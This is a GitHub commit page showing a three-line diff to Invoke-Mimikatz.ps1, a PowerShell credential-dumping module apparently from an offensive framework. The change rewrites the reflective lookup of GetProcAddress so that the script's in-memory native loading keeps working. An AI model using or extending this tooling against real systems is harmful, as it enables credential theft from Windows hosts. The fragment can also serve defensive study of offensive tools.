Skip to content

Commit

Permalink
Browse files Browse the repository at this point in the history
  • Loading branch information
mpace4383 committed Aug 6, 2021
1 parent 08cbd27 commit a9a1866
Showing 1 changed file with 3 additions and 2 deletions.
5 changes: 3 additions & 2 deletions data/module_source/credentials/Invoke-Mimikatz.ps1
Original file line number Diff line number Diff line change
Expand Up @@ -883,7 +883,8 @@ $RemoteScriptBlock = {
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
# Get a reference to the GetModuleHandle and GetProcAddress methods
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
# $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress', [reflection.bindingflags] "Public,Static", $null, [System.Reflection.CallingConventions]::Any, @((New-Object System.Runtime.InteropServices.HandleRef).GetType(), [string]), $null);
# Get a handle to the module specified
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
$tmpPtr = New-Object IntPtr
Expand Down Expand Up @@ -2742,4 +2743,4 @@ $DomainSID = $parts2[0..($parts2.Count-2)] -join '-';
$results = Main;
"Hostname: $HostName / $DomainSID";
$results
}
}

0 comments on commit a9a1866

Please sign in to comment.